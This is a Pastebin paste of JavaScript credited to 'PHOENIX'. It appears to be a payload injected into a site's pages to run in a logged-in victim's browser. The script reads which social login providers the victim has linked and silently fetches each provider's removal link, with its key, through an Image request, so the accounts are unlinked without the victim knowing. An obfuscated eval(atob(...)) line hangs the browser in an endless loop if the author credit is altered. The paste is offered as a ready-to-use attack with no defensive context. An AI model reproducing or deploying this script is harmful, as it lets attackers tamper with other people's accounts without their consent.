Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- document["AUTHOR"] = "PHOENIX";
- if (!document["AUTHOR"]) {
- return false;
- };
- social = {
- twitter: undefined,
- google: undefined,
- hyves: undefined,
- facebook: undefined,
- live: undefined,
- myspace: undefined,
- yahoo: undefined
- };
- handle = {
- set: function () {
- new Ajax.Request("/identity/auth", {
- onComplete: function (x) {
- var x = x.responseText;
- if (x.match(/provider=twitter/)) social.twitter = true;
- else social.twitter = false;
- if (x.match(/provider=google/)) social.google = true;
- else social.google = false;
- if (x.match(/provider=hyves/)) social.hyves = true;
- else social.hyves = false;
- if (x.match(/provider=facebook/)) social.facebook = true;
- else social.facebook = false;
- if (x.match(/provider=windowslive/)) social.live = true;
- else social.live = false;
- if (x.match(/provider=myspace/)) social.myspace = true;
- else social.myspace = false;
- if (x.match(/provider=yahoo/)) social.yahoo = true;
- else social.yahoo = false;
- if (social.twitter == true) {
- handle.remove(0);
- };
- if (social.google == true) {
- handle.remove(1);
- };
- if (social.hyves == true) {
- handle.remove(2);
- };
- if (social.facebook == true) {
- handle.remove(3);
- };
- if (social.live == true) {
- handle.remove(4);
- };
- if (social.myspace == true) {
- handle.remove(5);
- };
- if (social.yahoo == true) {
- handle.remove(6);
- };
- }
- });
- },
- remove: function (get) {
- if (get == 0) { //twitter
- new Ajax.Request("/identity/auth", {
- onComplete: function (x) {
- var rmv_link = (x.responseText.match(/"(.+)provider=twitter(.+)_key=(.+)"/)[0].split('"')[1]).replace(/&/gi, "&");
- var remove = new Image();
- remove.src = rmv_link;
- social.twitter = "removed";
- }
- });
- };
- if (get == 1) { //google
- new Ajax.Request("/identity/auth", {
- onComplete: function (x) {
- var rmv_link = (x.responseText.match(/"(.+)provider=google(.+)_key=(.+)"/)[0].split('"')[1]).replace(/&/gi, "&");
- var remove = new Image();
- remove.src = rmv_link;
- social.google = "removed";
- }
- });
- };
- if (get == 2) { //hyves
- new Ajax.Request("/identity/auth", {
- onComplete: function (x) {
- var rmv_link = (x.responseText.match(/"(.+)provider=hyves(.+)_key=(.+)"/)[0].split('"')[1]).replace(/&/gi, "&");
- var remove = new Image();
- remove.src = rmv_link;
- social.hyves = "removed";
- }
- });
- };
- if (get == 3) { //facebook
- new Ajax.Request("/identity/auth", {
- onComplete: function (x) {
- var rmv_link = (x.responseText.match(/"(.+)provider=facebook(.+)_key=(.+)"/)[0].split('"')[1]).replace(/&/gi, "&");
- var remove = new Image();
- remove.src = rmv_link;
- social.facebook = "removed";
- }
- });
- };
- if (get == 4) { //live
- new Ajax.Request("/identity/auth", {
- onComplete: function (x) {
- var rmv_link = (x.responseText.match(/"(.+)provider=windowslive(.+)_key=(.+)"/)[0].split('"')[1]).replace(/&/gi, "&");
- var remove = new Image();
- remove.src = rmv_link;
- social.live = "removed";
- }
- });
- };
- if (get == 5) { //myspace
- new Ajax.Request("/identity/auth", {
- onComplete: function (x) {
- var rmv_link = (x.responseText.match(/"(.+)provider=myspace(.+)_key=(.+)"/)[0].split('"')[1]).replace(/&/gi, "&");
- var remove = new Image();
- remove.src = rmv_link;
- social.myspace = "removed";
- }
- });
- };
- if (get == 6) { //yahoo
- new Ajax.Request("/identity/auth", {
- onComplete: function (x) {
- var rmv_link = (x.responseText.match(/"(.+)provider=yahoo(.+)_key=(.+)"/)[0].split('"')[1]).replace(/&/gi, "&");
- var remove = new Image();
- remove.src = rmv_link;
- social.yahoo = "removed";
- }
- });
- };
- }
- };
- eval(atob('aWYoZG9jdW1lbnRbIkFVVEhPUiJdIT09IlBIT0VOSVgiKXtzZXRJbnRlcnZhbChmdW5jdGlvbigpe2Zvcig7Oyl7Y29uc29sZS5lcnJvcihuZXcgRGF0ZSgpLmdldFRpbWUoKSl9fSwwKTt9'));
- handle.set();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement